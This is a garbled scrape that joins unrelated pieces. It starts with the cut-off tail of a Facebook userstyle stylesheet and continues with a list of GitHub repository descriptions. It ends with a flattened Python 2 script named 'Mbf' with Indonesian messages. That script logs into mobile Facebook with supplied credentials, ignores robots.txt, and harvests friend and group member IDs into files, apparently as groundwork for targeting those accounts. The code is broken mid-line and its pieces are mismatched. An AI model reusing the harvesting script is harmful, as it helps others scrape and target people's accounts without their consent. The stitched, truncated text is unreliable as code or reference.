Friends\"]):not([value=\"Share\"]):not([value=\"Maybe\"]):not([value=\"No\"]):not([value=\"Yes\"]):not([value=\"Comment\"]):not([value=\"Reply\"]):not([value=\"Flag\"]):not([type=\"submit\"]),.UITabGrid_Link:hover,.UIActionButton,.UIActionButton_Link,.confirm_button,.silver_dashboard,span.button,.col:hover,#photo_tag_selector,#pts_userlist,.flink_dropdown,.flink_inner,.grouprow:hover,#findagroup h4,#startagroup h4,.actionspro a:hover,.UIActionMenu_Menu,.UICheckList_Label:hover,.make_new_list_button_table,.contextual_dialog_content,#flm_list_selector .selector:hover,.show_advanced_controls:hover,.UISelectList_check_Checked,.section_header,.section_header_bg,#buddy_list_panel_settings_flyout,.options_actions,.chat_setting,.flyout,.flyout .UISelectList,.flyout .new_list,#tagging_instructions,.FriendsPage_MenuContainer,.UIActionMenu,.UIObjectListing:hover,.UIStory_Hide .UIActionMenu_Wrap,.UIBeeper,.branch_notice,.async_saving,.UIActionMenu .UIActionMenu_Wrap:hover,.attachment_link a:hover,.UITitledBox_Top,.UIBeep,.Beeps,#friends li a:hover,.apinote h2,.UIActionButton_Text,.rsvp_option:hover,.onglettrhi,.ongletghi,.ongletdhi,.ongletg,.onglettr,.ongletd,.confirm_block, .unfollow_message,.UINestedFilterList_SubItem_Selected .UINestedFilterList_SubItem_Link,.UINestedFilterList_SubItem_Link:hover,.UINestedFilterList_Item_Link:hover,.UINestedFilterList_Selected .UINestedFilterList_Item_Link,.app_dir_app_summary:hover,.app_dir_featured_app_summary:hover,.app_dir_app_wide_summary:hover,.UIStory:hover,.UIPortrait_TALL:hover,.UIActionMenu_Menu div,.UIButton_Blue,.UIButton_Gray,.quiz_cell:hover,.UIFilterList > .UIFilterList_Title,.message_rows tr:hover,.ntab:hover,.thumb_selected,.thumb:hover,.hovered a,.pandemic_bar,.promote_page,.promote_page a,.create_button a,.nux_highlight,.UIActionMenu_Wrap,.share_button_browser div,.silver_create_button,.painted_button,.flyer_button,table[bindpoint=\"thread_row\"] tbody tr:hover,.GBThreadMessageRow:hover,#header,.button:not(.close):not(.uiSelectorButton):not(.videoicon):not(.toggle),h4,button:not(.as_link),#navigation a:hover,.settingsPaneIcon:hover,a.current,.inboxView tr:hover,.tabView li a:hover,.friendListView li:hover,.LTypeaheadResults,.LTypeaheadResults a:hover,.dialog-title, .UISuggestionList_SubContainer:hover,.typeahead_message,.progress_bar_inner,.video:hover,.advanced_controls_link,.plays_val,.lightblue_box,.FriendAddingTool_InnerMenu .UISelectList,.gray_box,.uiButton:not(.uiSelectorButton),.fbPrivacyWidget .uiSelectorButton:not(.lockButton),.uiButtonSuppressed,#navAccount li:not(#navAccountInfo),.jewelHeader,.seeMore,#mailBoxItems li,#pageFooter,.uiSideNav .key-nf:hover,.key-messages .item:hover,.key-messages ul li:hover,.key-events ul li:hover,.key-media ul li:hover,.key-ff ul li:hover,.key-apps:hover,.key-games:hover,.uiSideNav .sideNavItem:not(.open) .item:hover,.fbChatOrderedList .item:hover a,.uiHeader,.uiListItem:not(.mall_divider):hover,.uiSideNav li.selected > a,.ego_unit:hover,.results,.bordered_list_item:hover,.fbConnectWidgetFooter,#viewas_header,.fbNubFlyoutTitlebar,.info_text,.stage,.masterControl .selected a,.masterControl .controls .item a:hover,.uiTypeaheadView .search,.gigaboxx_thread_hidden_messages,.uiMenu,.uiMenuInner,.itemAnchor,.gigaboxx_thread_branch_message,.uiSideNavCount,.uiBoxYellow,.loggedout_menubar_container,.pbm .uiComposer,.megaphone_box,.uiCenteredMorePager,.fbEditProfileViewExperience:hover,.uiStepSelected .middle,.GM_options_header,.bfb_tab_selected, #MessagingShelfContent,.connect_widget_like_button,.uiSideNav .open,.fbActivity:hover,.fbQuestionsPollResultsBar,.insightsDateRangeCustom,.fbInsightsTable thead th,.mall_divider,.attachmentContent .fbTabGridItem:hover,.jewelItemNew,#MessagingThreadlist .unread,.type_selected,.bfb_sticky_note,.UIUpcoming_Item:hover,.progress_bar_outer,.fbChatBuddyListDropdown .uiButton,.UIConnectControlsListSelector .uiButton,.instructions,.uiComposerMetaContainer,.uiMetaComposerMessageBoxShelf,#feed_nux,#tickerNuxStoryDiv,.fbFeedTickerStory:hover,.fbCurrentStory:hover,.uiStream .uiStreamHeaderTall,.fbChatSidebarMessage,.fbPhotoSnowboxInfo,.devsitePage .menu,.devsitePage .menu .content,#devsiteHomeBody .wikiPanel > div,.toolbarContentContainer,.fbTimelineUnitActor,#fbTimelineHeadline,.fbTimelineNavigation,.fbTimelineFeedbackActions,.timelineReportHeader,.fbTimelineCapsule .timelineUnitContainer:hover,.timelineReportContainer:hover,.fbTimelineComposerAttachments .uiListItem:hover span a,.timelinePublishedToolbar,.timelineRecentActivityLabel,.fbTimelineMoreButton,.overlayTitle,.friendsBoxHeader,.escapeHatchHeader,.tickerStoryAllowClick,.appInvite:hover,.fbRemindersStory:hover,.lifeEventAddPhoto a:hover,.insights-header,.ufb-dataTable-header-container,.ufb-button,.older-posts-content,.mleButton:hover,.btnLink,.fill,.cropMessage,.adminPanelList li:hover a,.tlPageRecentOverlayStream,.addListPageMegaphone,.searchListsBox,.ogStaticPagerHeader,.dialogTitle,#rogerSidenavCallout,.fbTimelineAggregatedMapUnitSeeAll,.shareRedesignContainer,.ogSingleStoryText,.ogSliderAnimPagerPrevWrapper,.ogSliderAnimPagerNextWrapper,.shareRedesignText,.pluginRecommendationsBarTop\n{ background: -webkit-repeating-linear-gradient(-15deg,rgba(50,40,20,.5) 0px, rgba(75,65,32,.5) 75px, rgba(185,175,100,.5) 200px, rgba(75,65,32,.5) 325px, rgba(50,40,20,.5) 400px), fixed !important;}\n\n.hovercard .stage,.profileChip,.GM_options_wrapper_inner,.MessagingReadHeader .uiHeader,#MessagingShelf,#navAccount ul,.uiTypeaheadView,#blueBar,.uiFacepileItem .uiTooltipWrap,.fbJewelFlyout,.jewelItemList li,.notification:not(.jewelItemNew),.fbNubButton,.fbChatTourCallout .body,.uiContextualDialogContent,.fbTimelineStickyHeader .back,.timelineExpandLabel:hover,.pageNotifFooter a,.fbSettingsListLink:hover,.uiOverlayPageContent,#bfb_option_list,.fbPhotoSnowlift .rhc,.ufb-tip-title,.balloon-content,.tlPageRecentOverlayTitle,.uiDialog,.uiDialogForm,.permissionsLockText, .uiMenuXBorder,.-cx-PRIVATE-uiDialog__content,.-cx-PRIVATE-uiDialog__title\n{ background: -webkit-repeating-linear-gradient(-15deg,rgba(50,40,20,.5) 0px, rgba(75,65,32,.5) 75px, rgba(185,175,100,.5) 200px, rgba(75,65,32,.5) 325px, rgba(50,40,20,.5) 400px), fixed,rgba(10,10,10,.6) !important; }\n\n.unread .badge,.fbDockChatBuddyListNub .icon,.sx_7173a9,.selectedCheckable .checkmark {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/blueball15.png\") no-repeat right center!important;}\n\ntable[class=\" \"] .badge:hover,table[class=\"\"] .badge:hover,.offline .fbDockChatBuddyListNub .icon,.fbChatSidebar.offline .fbChatSidebarMessage .img {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/grayball15.png\") no-repeat right center!important;}\n\n.fbChatSidebar.offline .fbChatSidebarMessage .img {height: 16px !important;}\n\n.offline .fbDockChatBuddyListNub .icon,.fbDockChatBuddyListNub .icon,.sx_7173a9 {margin-top: 0 !important;height: 15px !important;}\n\na.idle,.buddyRow.idle .buddyBlock,.fbChatTab.idle .tab_availability,.fbChatTab.disabled .tab_availability,.chatIdle .chatStatus,.idle .fbChatUserTab .wrap,.chatIdle .uiTooltipText,.markunread,.bb .fbDockChatTab.user.idle .titlebarTextWrapper,.fbChatOrderedList .item:not(.active) .status {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/grayball10paddedright.png\") no-repeat left center !important;}\n\n.fbChatOrderedList .item .status {width: 10px !important;}\n\n.headerTinymanName {max-width: 320px !important; white-space: nowrap !important; overflow: hidden !important;}\n\n.uiTooltipText {padding-left: 14px !important;border: none !important;}\n \n.fbNubButton,.bb .fbNubFlyoutTitlebar,.bb .fbNub .noTitlebar,.fbDockChatTab,#fbDockChatBuddylistNub .fbNubFlyout,.fbDockChatTabFlyout,.titlebar {border-radius: 8px 8px 0 0!important;}\n\n.uiSideNav .open {padding-right: 0 !important;}\n.uiSideNav .open,.uiSideNav .open > *,#home_stream > *,.bb .rNubContainer .fbNub,.fbChatTab {margin-left: 0 !important;}\n.uiSideNav .open ul > * {margin-left: -20px !important;}\n.uiSideNav .open .subitem > .rfloat {margin-right: 20px !important;}\n\n.timelineUnitContainer .timelineAudienceSelector .uiSelectorButton {padding: 1px !important; margin: 4px 0 0 4px !important;}\n.timelineUnitContainer .audienceSelector .uiButtonNoText .customimg {margin: 2px !important;}\n.timelineUnitContainer .composerAudienceSelector .customimg {opacity: 1 !important; background-position: 0 1px !important; padding: 0 !important;}\n\n.fbNub.user:not(.disabled) .wrap {padding-left: 15px !important;}\n.fbNubFlyoutTitlebar .titlebarText {padding-left: 12px !important;}\n\na.friend:not(.idle),.buddyRow:not(.idle) .buddyBlock,.fbChatTab:not(.idle):not(.disabled) .tab_availability,.chatOnline .chatStatus,.markread,.user:not(.idle):not(.disabled) .fbChatUserTab .wrap,.chatOnline .uiTooltipText,.bb .fbDockChatTab.user:not(.idle):not(.disabled) .titlebarTextWrapper,.fbChatOrderedList .item.active .status,.active .titlebarTextWrapper,.uiMenu .checked .itemAnchor {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/blueball10paddedright.png\") no-repeat !important;}\n\na.friend:not(.idle),.buddyRow:not(.idle) .buddyBlock,.fbChatTab:not(.idle):not(.disabled) .tab_availability,.chatOnline .chatStatus,.markread,a.idle,.buddyRow.idle .buddyBlock {background-position: right center !important;}\n\n.user:not(.idle):not(.disabled) .fbChatUserTab .wrap,.chatOnline .uiTooltipText,.bb .fbDockChatTab.user:not(.idle):not(.disabled) .titlebarTextWrapper,.fbChatOrderedList .item.active .status,.active .titlebarTextWrapper,.user .fbChatUserTab .wrap {background-position: left center !important;}\n\n.uiMenu .checked .itemAnchor {background-position: 5px center !important;}\n\n.markunread,.markread {background-position: 0 center !important;}\n\n.chatIdle .chatStatus,.chatOnline .chatStatus {width: 10px !important;height: 10px !important;background-position: 0 0 !important;}\n\n#fbRequestsJewel .jewelButton {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/Friends-Gray.png\") no-repeat center center !important;}\n\n#fbRequestsJewel:hover .jewelButton,#fbRequestsJewel.hasNew .jewelButton {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/Friends.png\") no-repeat center center !important;}\n\n#fbMessagesJewel .jewelButton {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/Mail_Icon-gray.png\") no-repeat center center !important;}\n\n#fbMessagesJewel:hover .jewelButton,#fbMessagesJewel.hasNew .jewelButton {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/Mail_Icon.png\") no-repeat center center !important;}\n\n#fbNotificationsJewel .jewelButton {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/Earth-gray.png\") no-repeat center center !important;}\n\n#fbNotificationsJewel:hover .jewelButton,#fbNotificationsJewel.hasNew .jewelButton {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/Earth.png\") no-repeat center center !important;}\n\n.topBorder,.bottomBorder {background: #000 !important;}\n\n.pl-item,.ical,.pop_content {background-color: #333 !important;}\n.pl-alt {background-color: #222 !important;}\n\n.friend:hover,.friend:not(.idle):hover,.fbTimelineRibbon {background-color: rgba(10,10,10,.6) !important;}\n\n.maps_arrow,#sidebar_ads,.available .x_to_hide,.left_line,.line_mask,.chat_input_border,.connect_widget_button_count_nub,\n.uiStreamPrivacyContainer .uiTooltip .img,.UIObjectListing_PicRounded,.UIRoundedImage_CornersSprite,.UITabGrid_Link:hover .UITabGrid_LinkCorner_TL,.UITabGrid_Link:hover .UITabGrid_LinkCorner_TR,.UITabGrid_Link:hover .UITabGrid_LinkCorner_BL,.UITabGrid_Link:hover .UITabGrid_LinkCorner_BR,.UILinkButton_R,.pagesAboutDivider {visibility:hidden !important;}\n\n.nub,#contentCurve,#pagelet_netego_ads,img.plus,.highlighter,.uiToolbarDivider,.bfb_sticky_note_arrow_border,.bfb_sticky_note_arrow,#ConfirmBannerOuterContainer,.uiStreamHeaderBorder,.topBorder,.bottomBorder,.middleLink:after,.sideNavItem .uiCloseButton,.mask,.topSectionBottomBorder {display: none !important;}\n\n.fbChatBuddyListTypeahead {display: block !important;}\n\n.chat_input {width: 195px !important;}\n\n.fb_song_play_btn,.friend,.wrap,.uiTypeahead,.share,.raised,.donated,.recruited,.srch_landing,.story_editor,.jewelCount span {background-color: transparent !important;}\n\n.extended_link div {background-color: #fff !important}\n\n#fbTimelineHeadline,.coverImage {width: 851px !important; margin-left: 1px !important;}\n\n*:not([style*=border]) {border-color: #000 !important;}\n\n#feed_content_section_applications *,#feed_header_section_friend_lists *,.summary,.summary *,.UIMediaHeader_TitleWash,.UIMediaHeader_TitleWrapper,.feedbackView .comment th div,.searchroot,.composerView th div,.reply th div,.borderTagBox,.innerTagBox,.friend,.fbNubFlyoutTitlebar,.fbNubButton {border-color: transparent !important;}\n\n.innerTagBox:hover {border-color: rgba(10,10,10,.45) !important;box-shadow: 0 0 5px 4px #FF9D52 !important;}\n\n.status_placeholder,.UIComposer_TDTextArea,.UIComposer_TextAreaShadow,.UIContentBox ,.box_column,form.comment div,.comment_box div,#tagger,.UIMediaItem_Wrapper,#chat_tab_bar *,.UIActionMenu_ButtonOuter input[type=\"button\"],.inner_button,.UIActionButton_Link,.divider,.UIComposer_Attachment_TDTextArea,#confirm_button,#global_maps_link,.advanced_selector,#presence_ui *,.fbFooterBorder,.wash,.main_body,.settings_screenshot,.uiBlingBox,.inputContainer *,.uiMentionsInput,.uiTypeahead,.editNoteWrapperInput,.date_divider,.chatStatus,#headNav,.jewelCount span,.fbFeedbackMentions .wrap,.uiSearchInput span,.uiSearchInput,.fbChatSidebarMessage,.devsitePage .body > .content,.timelineUnitContainer,.fbTimelineTopSection,.coverBorder,.pagesTimelineButtonPagelet .counter,#pagelet_timeline_profile_actions .counter,#navAccount.openToggler,#contentArea,.uiStreamStoryAttachmentOnly,.ogSliderAnimPagerPrev .content,.ogSliderAnimPagerNext .content,.ogSliderAnimPagerPrev .wrapper,.ogSliderAnimPagerNext .wrapper,.ogSingleStoryContent,.ogAggregationAnimSubstorySlideSingle,.ogAggregationAnimSubstoryHideSelector .uiCloseButton {border: none !important;}\n\n.uiStream .uiStreamHeaderTall {border-top: none !important; border-bottom: none !important;}\n\n.attachment_link a:hover,input[type=\"input\"],input[type=\"submit\"]:not(.fg_action_hide):not(.stat_elem):not([name=\"add\"]):not([name=\"actions[reject]\"]):not([name=\"actions[accept]\"]):not([value=\"Find Friends\"]):not([value=\"Share\"]):not([value=\"Maybe\"]):not([value=\"No\"]):not([value=\"Yes\"]):not([value=\"Comment\"]):not([value=\"Reply\"]):not([value=\"Flag\"]):not([type=\"submit\"]),.UITabGrid_Link:hover,.UIFilterList_Selected,.make_new_list_button_table,.confirm_button,.fb_menu_title a:hover,.Tabset_selected {border-bottom-color: #000 !important;border-bottom-width: 1px !important;border-bottom-style: solid !important;border-top-color: #000 !important;border-top-width: 1px !important;border-top-style: solid !important;border-left-color: #000 !important;border-left-width: 1px !important;border-left-style: solid !important;border-right-color: #000 !important;border-right-width: 1px !important;border-right-style: solid !important;-moz-appearance:none!important;}\n\n.UITabGrid_Link,.fb_menu_title a,.button_main,.button_text,.button_left {border-bottom-color: transparent !important;border-bottom-width: 1px !important;border-bottom-style: solid !important;border-top-color: transparent !important;border-top-width: 1px !important;border-top-style: solid !important;border-left-color: transparent !important;border-left-width: 1px !important;border-left-style: solid !important;border-right-color: transparent !important;border-right-width: 1px !important;border-right-style: solid !important;-moz-appearance:none!important;}\n\n.UIObjectListing_RemoveLink,.UIIntentionalStory_CloseButton,.remove,.x_to_hide,.fg_action_hide a,.notif_del,.UIComposer_AttachmentArea_CloseButton,.delete_msg a,.ImageBlock_Hide, .fbSettingsListItemDelete,.fg_action_hide,img[src=\"http://static.ak.fbcdn.net/images/streams/x_hide_story.gif?8:142665\"],.close,.uiSelector .uiCloseButton {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/closeX.png\") no-repeat !important;text-decoration: none !important;height: 18px !important;}\n\ndiv.fbChatSidebarDropdown .uiCloseButton,.fbDockChatDropdown .uiSelectorButton,.storyInnerContent .uiSelectorButton,.fbTimelineAllActivityStorySelector .uiButton .img {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/GrayGear_15.png\") center center no-repeat !important; width: 26px !important;}\n\ndiv.fbChatSidebarDropdown .uiCloseButton {height: 23px !important;}\n\n.videoicon {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/video_chat_small.png\") center center no-repeat !important; }\n\n.uiStream .uiStreamFirstStory .highlightSelector .uiSelectorButton {margin-top: -5px !important;}\n\n.UIObjectListing_RemoveLink,.UIIntentionalStory_CloseButton,.remove,.x_to_hide,.fg_action_hide a,.notif_del,.UIComposer_AttachmentArea_CloseButton,.delete_msg a,.ImageBlock_Hide,.uiCloseButton,.fbSettingsListItemDelete {width: 18px !important;}\n.fg_action_hide {width: 18px !important; margin-top: 0 !important; }\n\n.fg_action_hide_container {width: 18px !important;}\n.uiSideNav li {left: 0 !important;padding-left: 0 !important;}\n\n.UIHotStory_Bling,.UIHotStory_BlingCount:hover,.request_link:hover,.request_link span:hover,.uiLinkButton {text-decoration: none !important;}\n\nli form + .navSubmenu > div > div {padding: 12px !important; margin-top: -12px !important;}\nli form + .navSubmenu > div img {margin-top: 12px !important;}\n\n.uiStreamBoulderHighlight {border-right: none !important;}\n\n\n.UIMediaItem_Photo .UIMediaItem_Wrapper {padding: 10px !important;}\n\n#footerRight,.fg_action_hide {margin-right: 5px !important;}\n\n.fbx_stream_header,.pas .input {padding: 5px !important;}\n\n.ptm {padding: 5px 0 !important;}\n\n.fbTimelineUnitActor {padding-top: 5px !important;}\n.home_right_column {padding-top: 0 !important;}\n\n.uiButton[tooltip-alignh=\"right\"] .uiButtonText {padding: 2px 10px 3px 10px !important; font-weight: bold !important;}\n\n.uiSideNav .uiCloseButton {left: 160px !important;border: none !important;}\n.uiSideNav .uiCloseButton input {padding-left: 2px !important;padding-right: 2px !important;margin-top: -4px !important;border: none !important;}\n\n.storyInnerContent .uiTooltip.uiCloseButton {margin-right: -10px !important;}\n.storyInnerContent .stat_elem .wrap .uiSelectorButton.uiCloseButton,.uiFutureSideNavSection .open .item,.uiFutureSideNavSection .open .subitem,.uiFutureSideNavSection .open .subitem .rfloat,.uiSideNav .subitem,.uiSideNav .open .item {margin-right: 0 !important;}\n\n.audienceSelector .wrap .uiSelectorButton {padding: 2px !important;}\n\n.jewelHeader,.fbSettingsListItemDelete {margin: 0 !important;}\n.UITitledBox_Title {margin-left: 4px;margin-top:1px;}\n\n.uiHeader .uiHeaderTitle {margin-left: 7px !important;}\n.fbx_stream_header .uiHeaderTitle,#footerLeft {margin-left: 5px !important;}\n\n.comments_add_box_image {margin-right: -5px !important;}\n.show_advanced_controls {margin-top:-5px !important;}\n.chat_window_wrapper {margin-bottom: 3px !important;}\n.UIUpcoming_Item {margin-bottom: 5px !important;}\n#pagelet_right_sidebar {margin-left: 0 !important;}\n\n.profile-pagelet-section,.uiStreamHeaderTall,.timelineRecentActivityLabel,.friendsBoxHeader {padding: 5px 10px !important;}\n\n.GBSearchBox_Button,.uiSearchInput button {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/search.png\") center center !important;}\n.uiSearchInput button {width: 23px !important;height: 21px !important;top: 0 !important;background-position: 3px 2px !important;}\n\n.UIButton_Text,.UISearchInput_Text {font-weight: normal !important;}\n\n.x_to_hide,.top_bar_pic .UIRoundedImage {margin: 0 !important;padding: 0 !important;}\n\n.uiHeaderActions .uiButton .uiButtonText {margin-left: 15px !important;}\n\n#contentArea {padding: 0 12px !important; }\n\n.searchroot,#share_submit input {padding-right: 5px !important; }\n.composerView {padding-left: 8px !important;padding-bottom: 4px !important;}\n.info_section {padding: 6px !important;}\n.uiInfoTable .dataRow .inputtext {min-width: 200px !important;}\n\n.fbPrivacyWidget .uiButton .mrs,.uiButtonSuppressed .mrs {margin: 0 -10px 0 6px !important;}\n\n.uiStreamPrivacyContainer .uiTooltip,.UIActionMenu_Lock,.fbPrivacyLockButton,.fbPrivacyLockButton:hover,.sx_7bedb4,.fbPrivacyWidget .uiButton .mrs,.uiButtonSuppressed .mrs,div.fbPrivacyLockSelector {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/privacylock.png\") no-repeat center center !important;}\n\n.jewelCount,.pagesTimelineButtonPagelet .counter {margin: -8px -4px 0 0 !important;padding: 1px 4px !important;}\n\n#share_submit {padding: 0 !important;border: none !important;}\n#share_submit input,.friend_list_container .friend {padding-left: 5px !important;}\n\na{outline: none !important;}\n\n#contact_importer_container input[value=\"Find Friends\"] {border: none !important;box-shadow: none !important;}\n\n#pageLogo {margin-left: -1px !important; }\n\n#pageLogo a {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/Facebook.png\") no-repeat center center !important;left: 0 !important;width: 107px !important;margin-right: 1px !important; margin-top: 0 !important;}\n\n#pageLogo a:hover {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/Facebook-glow.png\") no-repeat center center !important;}\n\n#pageHead {margin-top: -6px !important;}\n\n.mainWrapper .uiSelectorButton { margin-top: 10px !important; }\n\n#globalContainer {margin-top: 3px !important;}\n\n.platform_dialog #blueBar,.withCanvasNav #blueBar {position: absolute !important; margin-top: 10px !important; height: 30px !important; }\n\n.friend_list_container .friend {margin-right: 0 !important; }\n\n.list_select {padding: 3px !important;}\n\n.fbNubFlyout .input {width: 254px !important;}\n\n.highlightIndicator {top: 0 !important;}\n\n.audienceSelector .uiButtonText {padding-left: 8px !important;}\n.profile #pagelet_netego {margin-top: -60px !important;margin-left: -30px !important;}\n.pas .input,.selectedCheckable .checkmark {margin-left: -5px !important;}\n\n.removable {top: 0 !important;bottom: 0 !important;margin-top: -4px !important;border: none !important;}\n\n.uiSideNavCount,.uiStreamAttachments div embed,.jewelCount,.uiButton,.fbChatSidebarFooter .button,.uiSearchInput button,.uiSelectorButton,.pagesTimelineButtonPagelet .counter,#pagelet_timeline_profile_actions .counter,.pluginRecommendationsBarButtonLike {border-radius: 6px !important;}\n\n.fbActivity,.UIRoundedImage {margin: 4px !important;}\n\n#facebook:not(.tinyViewport) body:not(.UIPage_LoggedOut):not(.fbIndex):not(.platform_dialog):not(.withCanvasNav) #blueBar {width: 100% !important;margin: 0 auto !important;top: 10px !important;height: 30px !important;}\n\n.uiUfiSmall .commentArea .textBox:not([style*=\"height\"]) {height: 20px !important; }\n.composerTypeahead .textInput:not([style*=\"height\"]){height: 27px !important; }\n\n.dataTable .inputtext,.uiInfoTable .dataRow .inputtext {padding-left: 20px !important;}\n\n.fbTimelineAllActivityStorySelector .uiButton,.fbDockChatTabFlyout .close {margin-top: 3px !important;}\n.fbTimelineAllActivityStorySelector .uiButton .img {margin: 0 -3px !important;}\n\n.audienceSelector .uiButton {padding: 2px 0 2px 0 !important;}\n.audienceSelector .uiButton .img {margin-right: -1px !important;}\n\n.fbTimelineContentHeader .uiHeaderTitle {font-size: 2.0em !important;}\n\n\n.ogSliderAnimPagerGridTd .page {margin: 0 14px 0 -5px !important;}\n.ogSliderAnimPagerNext .content {margin-left: -18px !important;}\n#bfb_options_button_li {float:left !important;}\n\n.ego_column { display:none ; }"; if (typeof GM_addStyle != "undefined") { GM_addStyle(css); } else if (typeof PRO_ad
roeeaharoni / Sprp Acl2018Source code and data for "Split and Rephrase: Better Evaluation and a Stronger Baseline"
portugueslab / Split DatasetA minimal package for saving and reading large HDF5-based chunked arrays.
ege-erdogan / UnsplitSupplementary code for the paper "UnSplit: Data-Oblivious Model Inversion, Model Stealing, and Label Inference Attacks Against Split Learning".
ChanTsune / Portable Network ArchivePNA (Portable Network Archive) is a highly scalable archive format that can be compressed, encrypted, and split. Also, its data structure is inspired by the PNG data structure.
queenxaz / Mbf1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 Raw Blame History from __future__ import print_function import platform,os def tampil (x): w = { 'm' : 31, 'h' : 32 , 'k' : 33 , 'b' : 34 , 'p' : 35 , 'c' : 36} for i in w: x = x.replace( '\r %s ' % i, '\033[ %s ;1m' % w[i]) x += '\033[0m' x = x.replace( '\r0' , '\033[0m' ) print (x) if platform.python_version().split( '.' )[ 0 ] != '2' : tampil( '\rm[!] kamu menggunakan python versi %s silahkan menggunakan versi 2.x.x' % v().split( ' ' )[ 0 ] os.sys.exit() import cookielib,re,urllib2,urllib,threading try: import mechanize except ImportError : tampil( '\rm[!]SepertiNya Module \rcmechanize\rm belum di install...' ) os.sys.exit() def keluar (): simpan() tampil( '\rm[!]Keluar' ) os.sys.exit() log = 0 id_bteman = [] id_bgroup = [] fid_bteman = [] fid_bgroup = [] br = mechanize.Browser() br.set_handle_robots( False ) br.set_handle_equiv( True) br.set_handle_referer( True) br.set_cookiejar(cookielib.LWPCookieJar()) br.set_handle_redirect( True) br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time = 1 ) br.addheaders = [( 'User-Agent' , 'Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Versi def bacaData(): global fid_bgroup,fid_bteman try: fid_bgroup = open(os.sys.path[ 0 ] + '/MBFbgroup.txt' , 'r' ).readlines() except : pass try: fid_bteman = open(os.sys.path[ 0 ] + '/MBFbteman.txt' , 'r' ).readlines() except : pass def inputD (x,v = 0 ): while 1 : try : a = raw_input ( '\x1b[32;1m %s \x1b[31;1m:\x1b[33;1m' % x) except : tampil( '\n\rm[!]Batal' ) keluar() if v: if a.upper() in v: break else: tampil( '\rm[!]Masukan Opsinya Bro...' ) continue else: if len(a) == 0 : tampil( '\rm[!]Masukan dengan benar' ) continue else: break return a def inputM (x,d): while 1 : try : i = int(inputD(x)) except : tampil( '\rm[!]Pilihan tidak ada' ) continue if i in d: break else: tampil( '\rm[!]Pilihan tidak ada' ) return i def simpan (): if len (id_bgroup) != 0 : tampil( '\rh[*]Menyimpan hasil dari group' ) try : open(os.sys.path[ 0 ] + '/MBFbgroup.txt' , 'w' ).write( '\n' .join(id_bgroup)) tampil( '\rh[!]Berhasil meyimpan \rcMBFbgroup.txt' ) except : tampil( '\rm[!]Gagal meyimpan' ) if len (id_bteman) != 0 : tampil( '\rh[*]Menyimpan hasil daftar Teman...' ) try : open(os.sys.path[ 0 ] + '/MBFbteman.txt' , 'w' ).write( '\n' .join(id_bteman)) tampil( '\rh[!]Berhasil meyimpan \rcMBFbgteman.txt' ) except : tampil( '\rm[!]Gagal meyimpan' ) def buka(d): tampil( '\rh[*]Membuka \rp' + d) try: x = br.open(d) br._factory.is_html = True x = x.read() except : tampil( '\rm[!]Gagal membuka \rp' + d) keluar() if '<link rel="redirect" href="' in x: return buka(br.find_link().url) else: return x def login (): global log us = inputD( '[?]Email/HP' ) pa = inputD( '[?]Kata Sandi' ) tampil( '\rh[*]Sedang Login....' ) buka( 'https://m.facebook.com' ) br.select_form( nr = 0 ) br.form[ 'email' ] = us br.form[ 'pass' ] = pa br.submit() url = br.geturl() if 'save-device' in url or 'm_sess' in url: tampil( '\rh[*]Login Berhasil' ) buka( 'https://mobile.facebook.com/home.php' ) nama = br.find_link( url_regex = 'logout.php' ).text nama = re.findall( r ' \( (. * a ? ) \) ' ,nama)[ 0 ] tampil( '\rh[*]Selamat datang \rk %s \n\rh[*]Semoga ini adalah hari keberuntungan mu....' % nam log = 1 elif 'checkpoint' in url: tampil( '\rm[!]Akun kena checkpoint\n\rk[!]Coba Login dengan opera mini' ) keluar() else: tampil( '\rm[!]Login Gagal' ) def saring_id_teman (r): for i in re.findall( r '/friends/hovercard/mbasic/ \? uid= (. *? ) &' ,r): id_bteman.append(i) tampil( '\rc==>\rb %s \rm' % i) def saring_id_group1 (d): for i in re.findall( r '<h3><a href="/ (. *? ) fref=pb' ,d): if i.find( 